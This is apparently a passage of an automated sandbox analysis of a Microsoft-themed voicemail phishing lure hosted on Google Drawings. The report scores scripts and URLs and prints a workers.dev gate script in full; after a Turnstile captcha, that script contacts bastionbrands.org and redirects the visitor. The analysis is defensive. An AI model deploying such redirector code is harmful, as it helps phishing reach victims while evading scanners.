0l960.0 0l0 720.0l-960.0 0l0 -720.0z\x22 clip-rule\x3d\x22nonzero\x22\/\x3e\x3c\/clipPath\x3e\x3cg clip-path\x3d\x22url(#p.0)\x22\x3e\x3cpath fill\x3d\x22#ffffff\x22 d\x3d\x22m0 0l960.0 0l0 720.0l-960.0 0z\x22 fill-rule\x3d\x22evenodd\x22\/\x3e\x3cpath fill\x3d\x22#000000\x22 fill-opacity\x3d\x220.0\x22 d\x3d\x22m16.0 16.0l928.0001 0l0 650.4858l-928.0001 0z\x22 fill-rule\x3d\x22evenodd\x22\/\x3e\x3cg transform\x3d\x22matrix(0.49204671916010495 0.0 0.0 0.49204671916010495 16.0 16.0)\x22\x3e\x3cclipPath id\x3d\x22p.1\x22\x3e\x3cpath d\x3d\x22m7.1054274E-15 7.1054274E-15l1886.0 0l0 1322.0l-1886.0 0z\x22 clip-rule\x3d\x22evenodd\x22\/\x3e\x3c\/clipPath\x3e\x3cimage clip-path\x3d\x22url(#p.1)\x22 fill\x3d\x22#000\x22 width\x3d\x221886.0\x22 height\x3d\x221322.0\x22 x\x3d\x220.0\x22 y\x3d\x220.0\x22 crossorigin\x3d\x22use-credentials\x22 preserveAspectRatio\x3d\x22none\x22 xlink:href\x3d\x22https:\/\/lh7-rt.googleusercontent.com\/drawingsz\/AHiSRb2o9fEfNT55pAlbLaAZB5W7PAukKE8gBEeVHi3EXU_pVGTlhr5sCJ9upg2LgKGM_qX4Mi9RoBwyydTMXjQpbmTISee8ij74KTZYqdmz0vOc5XVJJAZyIU6ziK_rb-COa28?key\x3dDfOy8i41ssrBomXUfZT-O6tn\x22\/\x3e\x3c\/g\x3e\x3ca xlink:href\x3d\x22https:\/\/www.google.com\/url?q\x3dhttps:\/\/ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev\x26amp;sa\x3dD\x26amp;source\x3deditors\x26amp;ust\x3d1736878313217304\x26amp;usg\x3dAOvVaw3i7X6T6W51zPPyTm7vfkA3\x22 target\x3d\x22_blank\x22 rel\x3d\x22noreferrer\x22\x3e\x3cpath fill\x3d\x22transparent\x22 fill-opacity\x3d\x220\x22 d\x3d\x22m16.0 16.0l928.0001 0l0 650.4858l-928.0001 0z\x22 fill-rule\x3d\x22evenodd\x22\/\x3e\x3c\/a\x3e\x3c\/g\x3e\x3c\/svg\x3e',raster: 'https:\/\/docs.google.com\/drawings\/d\/1ZOS_an7pjHUaClSXynbGUfEA7fF9zl7qP1huGkZ7hIY\/image?pli\x3d1'});
URL: https://docs.google.com/static/drawings/client/js/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a utility function for initializing a global `_F_toggles` array. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or suspicious redirects. The code is likely part of a larger framework or library and does not demonstrate any malicious intent. While it uses some legacy practices like `globalThis` checks, the overall behavior is benign and does not pose a significant security risk." }
function _F_toggles_initialize(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]}_F_toggles_initialize([]); /* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / var aa="Edge",ba="Error in protected function: ",ca="Missing error cause.",da="Not available",ea="SCRIPT",fa="_/wa/",ha="apps_telemetry.processed",ia="attributionsrc",ja="bigint",ka="boolean",la="buildLabel",ma="complete",na="error",pa="fatal",n="function",qa="gssmodulesetproto",ra="iPad",sa="iPod",ua="incident",va="jsaction",wa="kaspersky-labs",xa="neurosurgeonundergo",r="number",u="object",ya="prerender",za="severity",Aa="severity-unprefixed",w="string",Ba="success",Ca="true",Da="unhandledrejection"; function Ea(){return function(a){return a}}function x(){return function(){}}function Fa(a){return function(){return this[a]}}function Ga(a){return function(){return a}}var y;function Ha(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}}var Ia=typeof Object.defineProperties==n?Object.defineProperty:function(a,c,e){if(a==Array.prototype\|\|a==Object.prototype)return a;a[c]=e.value;return a}; function Ja(a){a=[u==typeof globalThis&&globalThis,a,u==typeof window&&window,u==typeof self&&self,u==typeof global&&global];for(var c=0;c<a.length;++c){var e=a[c];if(e&&e.Math==Math)return e}throw Error("a");}var Ka=Ja(this);function z(a,c){if(c)a:{var e=Ka;a=a.split(".");for(var f=0;f<a.length-1;f++){var g=a[f];if(!(g in e))break a;e=e[g]}a=a[a.length-1];f=e[a];c=c(f);c!=f&&c!=null&&Ia(e,a,{configurable:!0,writable:!0,value:c})}} z("Symbol",function(a){function c(h){if(this instanceof c)throw new TypeError("b");return new e(f+(h\|\|"")+"_"+g++,h)}function e(h,k){this.g=h;Ia(this,"description",{configurable:!0,writable:!0,value:k})}if(a)return a;e.prototype.toString=Fa("g");var f="jscomp_symbol_"+(Math.random()1E9>>>0)+"_",g=0;return c}); z("Symbol.iterator",function(a){if(a)return a;a=Symbol("c");for(var c="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),e=0;e<c.length;e++){var f=Ka[c[e]];typeof f===n&&typeof f.prototype[a]!=n&&Ia(f.prototype,a,{configurable:!0,writable:!0,value:function(){return La(Ha(this))}})}return a});function La(a){a={next:a};a[Symbol.iterator]=function(){return this};return a} var Ma=typeof Object.create==n?Object.create:function(a){function c(){}c.prototype=a;return new c},Na;if(typeof Object.setPrototypeOf==n)Na=Object.setPrototypeOf;else{var Oa;a:{var Pa={a:!0},Qa={};try{Qa.__proto__=Pa;Oa=Qa.a;break a}catch(a){}Oa=!1}Na=Oa?function(a,c){a.__proto__=c;if(a.__proto__!==c)throw new TypeError("d`"+a);return a}:null}var Ra=Na; function A(a,c){a.prototype=Ma(c.prototype);a.prototype.constructor=a;if(Ra)Ra(a,c);else for(var e in c)if(e!="prototype")if(Object.defineProperties){var f=Object.getOwnPropertyDescriptor(c,e);f&&Object.defineProperty(a,e,f)}else a[e]=c[e];a.Y=c.prototype}function B(a){var c=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(c)return c.call(a);if(typeof a.length==r)return{next:Ha(a)};throw Error("e`"+String(a));} function Sa(a){if(!(a instanceof Array)){a=B(a);for(var c,e=[];!(c=a.next()).done;)e.push(c.value);a=e}return a}function Ta(a){return Ua(a,a)}function Ua(a,c){a.raw=c;Object.freeze&&(Object.freeze(a),Object.freeze(c));return a}function Va(){for(var a=Number(this),c=[],e=a;e<arguments.length;e++)c[e-a]=arguments[e];return c} z("Promise",function(a){function c(k){this.g=0;this.l=void 0;this.j=[];this.v=!1;var l=this.o();try{k(l.resolve,l.reject)}catch(m){l.reject(m)}}function e(){this.g=null}function f(k){return k instanceof c?k:new c(function(l){l(k)})}if(a)return a;e.prototype.j=function(k){if(this.g==null){this.g=[];var l=this;this.l(function(){l.s()})}this.g.push(k)};var g=Ka.setTimeout;e.prototype.l=function(k){g(k,0)};e.prototype.s=function(){for(;this.g&&this.g.length;){var k=this.g;this.g=[];for(var l=0;l<k.length;++l){var m
URL: https://docs.google.com/drawings/d/1ZOS_an7pjHUaClSXynbGUfEA7fF9zl7qP1huGkZ7hIY/preview?pli=1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You have a new voice message", "prominent_button_name": "Listen to Voicemail", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://docs.google.com/drawings/d/1ZOS_an7pjHUaClSXynbGUfEA7fF9zl7qP1huGkZ7hIY/preview?pli=1 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be related to Cloudflare's challenge system, which is a legitimate security mechanism. While it uses some legacy APIs and has some obfuscated elements, the overall behavior is consistent with Cloudflare's services and does not demonstrate any clear malicious intent. The risk score is low, as this is likely a benign script with some outdated practices." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: '87ved', chlApiSitekey: '0x4AAAAAAA5LpsjCCymM0ypi', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'xhvUj16ATcH0Vddu8LelnBk6jyCbN45gY9q5SC81QZc-1736874725-1.3.1.1-L_VFCDhmN39p0Pf2W3heioFkIY_dSPli0mIViRT4PwU', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '901f3fbd08fbc3ee', cH: 'CX58X6jpF1zdU2yvWFTZgWgqOJ4x3HaNOOiTF_UIZTE-1736874725-1.1.1.1-wRSpsTqXt7.atb88rCn_.84hg_e71BGhMYWqIkiMU6YZhi6uLh9PaXgBOYI.nnyE', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: 'sr8.LijLytAUTkazGx51NxB73vDYnrVKPn2iQ7d_xCA-1736874725-1.1.1.1-F2NlYNrRFeIiX9sbTiCpuQRhKq8y7TBNNcDhDHg43.VgriM.dKreJ6HTgnCSdThTuDZPhQmUZHDJCS7Gr465exOKIIcV_.mxwUgf_8TL.sf5FbSU_oVfdIf7ukjyPre0m9CqX3tZ3AAXC9gKe7TbH_TXbeKQSA9lCMO0AFbLPOhFnlpdJybrmvVGtfIh0.mF7YZQXoVbqYVWD1WQy.t8KkzTPxJUvPiAA83Kyz53enrqYKhm3tY7MeYaLPdmx5STjYWuXXWgN01WHx2ky2qG3jFWbEk1sXO__TWomhJZRMPYyNj90P1XA6efQGRs2L1MFc7H4tVbxfYL._FNsVcuSOJA.IQqoPazpvfKTYdyb0K8W99xyui7C8X..ZzVq.LZarHWGX3F_XmCdUJQW4ZtNfb7WaaHAEPyVoNhE3FGHpCcNC_YxaYqbHg.Uq8Nxbw_bvu4MiQ9tMjw6J8qiTB4NCun3BhrR115r26iHe0PdQnsgV8d_lR5UfRuAHpqDFKU0CfRBmKBMnsCB5NtDfR7SA_VIsjSSY7ltNHqTzNZKypoOTPvNjdYV4r0xWY2NgQfMwJcNpVq9LXQdmjRt1jiPbSHgw3OMJB.TRcP5XvuZm6BEXmFrWSjqIZMCx31.drMUT_3Rg.FTXjwjt0r1GN966h50tGVYbW6Y4wLJgJ5DUlndgcpqFzK6ic0L4YwEHA2If4Gwsu23k7X.a_C509IjWoSkAOQi25gosMXI
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This script appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other malicious activity. The script does not contain any high-risk indicators, and the behaviors observed are typical of a Cloudflare challenge. The script is likely legitimate and does not pose a significant security risk." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F"},"translations":{"turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","testing_only":"Testing%20only.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_footer_terms":"Terms","human_button_text":"Verify%20you%20are%20human","turnstile_footer_privacy":"Privacy","turnstile_refresh":"Refresh","turnstile_verifying":"Verifying...","turnstile_success":"Success%21","turnstile_timeout":"Timed%20out","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_failure":"Error","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_feedback_description":"Send%20Feedback","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_feedback_report":"Having%20trouble%3F","turnstile_overrun_description":"Stuck%20here%3F","turnstile_expired":"Expired","testing_only_always_pass":"Testing%20only%2C%20always%20pass."},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eP,eT,eU,eV,eY,f1,f3,f4,f5,fh,ft,fz,fA,fB,fL,fW,g0,g1,g4,g5,gE,g2,g3){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1036))/1+-parseInt(gI(1041))/2+parseInt(gI(1349))/3(-parseInt(gI(1029))/4)+-parseInt(gI(1085))/5(-parseInt(gI(1260))/6)+-parseInt(gI(1631))/7+-parseInt(gI(1352))/8*(-parseInt(gI(676))/9)+parseInt(gI(829))/10,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,384022),eM=this\|\|self,eN=eM[gJ(1679)],eO={},eO[gJ(620)]='o',eO[gJ(1598)]='s',eO[gJ(1377)]='u',eO[gJ(1683)]='z',eO[gJ(1e3)]='n',eO[gJ(1881)]='I',eO[gJ(1238)]='b',eP=eO,eM[gJ(1867)]=function(g,h,i,j,gN,o,x,B,C,D,E,F){if(gN=gJ,o={'iGMXz':gN(1234),'DozEK':function(G,H){return G+H},'JEQYE':function(G,H){return G===H},'eixbO':function(G,H){return G<H},'Kywmm':function(G,H,I,J){return G(H,I,J)},'ZLtOl':function(G,H){return G(H)},'bvKxZ':function(G,H){return H===G},'mNiAn':function(G,H){return G+H},'JnPGX':function(G,H){return G+H}},o[gN(865)](null,h)\|\|o[gN(865)](void 0,h))return j;for(x=eS(h),g[gN(1548)][gN(1321)]&&(x=x[gN(736)](g[gN(1548)][gN(1321)](h))),x=g[gN(856)][gN(1561)]&&g[gN(1587)]?g[gN(856)][gN(1561)](new g[(gN(1587))](x)):function(G,gP,H,K,I){if(gP=gN,H={'XSfIG':function(J,K){return J===K},'fZSWk':gP(518),'bAnlm':gP(1396),'kWrZR':function(J,K){return J(K)}},o[gP(1290)]!==o[gP(1290)])K=i[gP(1730)],K&&H[gP(1614)](K[gP(1226)],H[gP(1791)])&&H[gP(1614)](K[gP(1522)],H[gP(1524)])?o=s(function(){x()},1e3):K&&K[gP(1226)]===gP(518)&&K[gP(1522)]===gP(602)&&H[gP(1282)](x,B);else{for(G[gP(1307)](),I=0;I<G[gP(1083)];G[I]===G[I+1]?G[gP(1002)](o[gP(1545)](I,1),1):I+=1);return G}}(x),B='nAsAaAb'.split('A'),B=B
URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script demonstrates a mix of behaviors, including the use of a CAPTCHA system, encryption of user agent data, and a redirect to an external URL. While the CAPTCHA and encryption suggest some security measures, the script also includes the use of an obfuscated URL and the potential for redirecting to an unknown domain, which raises moderate concerns. Further review may be necessary to determine the full context and intent of the script." }
var verifyCallback_CF = function (response) { if (response && response.length > 10) { sendRequest(); // Only send the request after CAPTCHA is solved } }; window.onloadTurnstileCallback = function () { turnstile.render("#turnstileCaptcha", { sitekey: "0x4AAAAAAA5LpsjCCymM0ypi", callback: verifyCallback_CF, }); }; function hh2(encryptedText, shift) { let decryptedText = ""; for (let i = 0; i < encryptedText.length; i++) { let c = encryptedText[i]; if (c.match(/[a-z]/i)) { let code = encryptedText.charCodeAt(i); if ((code >= 65) && (code <= 90)) { c = String.fromCharCode(((code - 65 - shift + 26) % 26) + 65); } else if ((code >= 97) && (code <= 122)) { c = String.fromCharCode(((code - 97 - shift + 26) % 26) + 97); } } decryptedText += c; } return decryptedText; } function Encrypt(text, publicKey) { console.log('encrypt with public key:', publicKey); return text; } let sx = "https://bastionbrands.org/?qerbmqhy"; const PUBLIC_KEY = `-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1 R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kgrw8hv1ifOmf4Jrkis3tlW qpIO2U9Nle23D1VKpxZSxRyYTbnoyq3lRcqY5txOJKdviR9fA9wPidS6KTXhX2xq wq1jjYvgHtntEGYwK6Lzm6Q8jTjfV7ICqnV74GTKnPN7VMDKsS2+Dcf2Y2IoYY1o NM7nWPKFeVUmkqFMowkdBmGJHL4UqRcxbhiRX3AAzzdQvbQg7OQxYjbKak23IvDN 1ia9SsXQyo5H/XnfXB2Nb9sNayO5sV+hDmBRlujtm1+maqGMJUXZeVHL81Q7O22a WQIDAQAB -----END PUBLIC KEY-----`; function sendRequest() { const userAgent = navigator.userAgent; const EncryptedUserAgent = Encrypt(userAgent, PUBLIC_KEY); console.log('Sending request with encrypted user-agent:', EncryptedUserAgent); let xhr = new XMLHttpRequest(); xhr.open('GET', sx, true); xhr.setRequestHeader("accept", "application/json"); xhr.setRequestHeader("qrc-auth", EncryptedUserAgent); xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status === 200) { const cc = JSON.parse(xhr.responseText); if (cc.url) { window.location = cc.url; } else { document.body.innerHTML = cc.error ? cc.error : 'ACCESS DENIED'; } } else { document.body.innerHTML = 'CONNECTION TO HOST FAILED'; } } }; xhr.send(); }
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other automated threats. The script sets up various configuration options for the Cloudflare challenge, including the challenge ID, zone, and API settings. It also sets up a message event listener to handle communication between the challenge and the parent window. While the script uses some dynamic behavior, such as sending messages to the parent window, this is part of the expected functionality of the Cloudflare challenge and does not appear to be malicious. Overall, the script seems to be a legitimate security mechanism and does not demonstrate any high-risk indicators." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: '87ved', chlApiSitekey: '0x4AAAAAAA5LpsjCCymM0ypi', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'xhvUj16ATcH0Vddu8LelnBk6jyCbN45gY9q5SC81QZc-1736874725-1.3.1.1-L_VFCDhmN39p0Pf2W3heioFkIY_dSPli0mIViRT4PwU', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '901f3fbd08fbc3ee', cH: 'CX58X6jpF1zdU2yvWFTZgWgqOJ4x3HaNOOiTF_UIZTE-1736874725-1.1.1.1-wRSpsTqXt7.atb88rCn_.84hg_e71BGhMYWqIkiMU6YZhi6uLh9PaXgBOYI.nnyE', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: 'sr8.LijLytAUTkazGx51NxB73vDYnrVKPn2iQ7d_xCA-1736874725-1.1.1.1-F2NlYNrRFeIiX9sbTiCpuQRhKq8y7TBNNcDhDHg43.VgriM.dKreJ6HTgnCSdThTuDZPhQmUZHDJCS7Gr465exOKIIcV_.mxwUgf_8TL.sf5FbSU_oVfdIf7ukjyPre0m9CqX3tZ3AAXC9gKe7TbH_TXbeKQSA9lCMO0AFbLPOhFnlpdJybrmvVGtfIh0.mF7YZQXoVbqYVWD1WQy.t8KkzTPxJUvPiAA83Kyz53enrqYKhm3tY7MeYaLPdmx5STjYWuXXWgN01WHx2ky2qG3jFWbEk1sXO__TWomhJZRMPYyNj90P1XA6efQGRs2L1MFc7H4tVbxfYL._FNsVcuSOJA.IQqoPazpvfKTYdyb0K8W99xyui7C8X..ZzVq.LZarHWGX3F_XmCdUJQW4ZtNfb7WaaHAEPyVoNhE3FGHpCcNC_YxaYqbHg.Uq8Nxbw_bvu4MiQ9tMjw6J8qiTB4NCun3BhrR115r26iHe0PdQnsgV8d_lR5UfRuAHpqDFKU0CfRBmKBMnsCB5NtDfR7SA_VIsjSSY7ltNHqTzNZKypoOTPvNjdYV4r0xWY2NgQfMwJcNpVq9LXQdmjRt1jiPbSHgw3OMJB.TRcP5XvuZm6BEXmFrWSjqIZMCx31.drMUT_3Rg.FTXjwjt0r1GN966h50tGVYbW6Y4wLJgJ5DUlndgcpqFzK6ic0L4YwEHA2If4Gwsu23k7X.a_C509IjWoSkAOQi25gosMXIxfBc4JJRxQKVOj9ZO95I81w8ccWYoP_qGpwoNBkkl0wB_4knIEkms2aqWyOXM5jZH6rAS6_aFysOjMoWmfpU1txxiNwNBLSJFOsvUbPLS2lNdNLosxvWbrAuHbNDlokwXdMrGSw2TdMnImJkdQcr5jeYLnPxXL7v6DrQbUaQf2qZPd7sNg6x.8t_yTk7_kVA77LSjGhjVv_L4AkliD4HO49pqf4_rt80FzaVBQHFubcoCIwyw6Lim1N7MdIS5t419QbgttPdE2oNWh.SN67wNmgvaXIzk8vDg1cXIiqMpSiaIwHezS4__R63WgTJo0_zCnhNDqvGX9y6NiK0pfh5knUPr6.3ZP96d8B7_VkmGD1KWb66Xyl3jcGBx2QFZT8pZ3eVp_Gbe93QX18IzVDrLW88AmPwL30pQgt7COc5zh9nApWclydo7qwh.oHvnFufMNquNF6aT35woJATG84yvfzHZUmHAOUYrsi8B5Arcbx4RXD2H_9gRwKqPIelJXFXTctCaRbdqwabbAXIsk1A5FXKkX2HjoBbstjBLl9wp.0_Pj.DJuOuRGrYB_vB5WXT4tg5xmCgHaVWdxUjkDltGUyzW1kSdaIFTjL6E92ophnB_NfgMEGBlWRIkJJXUnRJ6zLyUXCR5E2tcKabXhxYYjLynYOt3GhCWCVnKaaVNRFQL4ka0xUQLu27sja.oGy2CFU7i0', cITimeS: '1736874725', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: '87ved', nextRcV: 'xhvUj16ATcH0Vddu8LelnBk6jyCbN45gY9q5SC81QZc-1736874725-1.3.1.1-L_VFCDhmN39p0Pf2W3heioFkIY_dSPli0mIViRT4PwU', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure\nWe need to review the security of your connection before proceeding.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev
URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://challenges.cloudflare.com/turnstile/v0/b/e... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script does not exhibit any high-risk or moderate-risk behaviors. It primarily consists of utility functions and error handling, with no evidence of dynamic code execution, data exfiltration, or interaction with external domains. The code appears to be part of a larger library or framework, likely for handling asynchronous operations and error management." }
"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Ar(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function Bt(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function qt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function zt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Gt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun

